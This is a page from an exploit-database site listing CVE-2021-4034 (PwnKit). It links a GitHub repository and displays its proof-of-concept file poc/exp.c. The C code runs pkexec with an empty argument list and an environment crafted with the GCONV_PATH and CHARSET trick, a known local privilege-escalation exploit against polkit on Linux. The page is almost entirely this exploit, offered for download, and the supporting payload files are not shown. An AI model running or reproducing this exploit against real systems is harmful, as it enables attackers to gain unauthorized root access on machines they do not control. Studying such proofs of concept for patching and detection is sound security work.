Exploit database

GH-e70f1ff88abc61bdedcf69ad4c622746

chenaotian/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
chenaotian/cve-2021-4034Revision ab1f433e5456

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/exp.c

Suggested starting fileC · 377 bytes
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/bin/pkexec", a_argv, a_envp);
}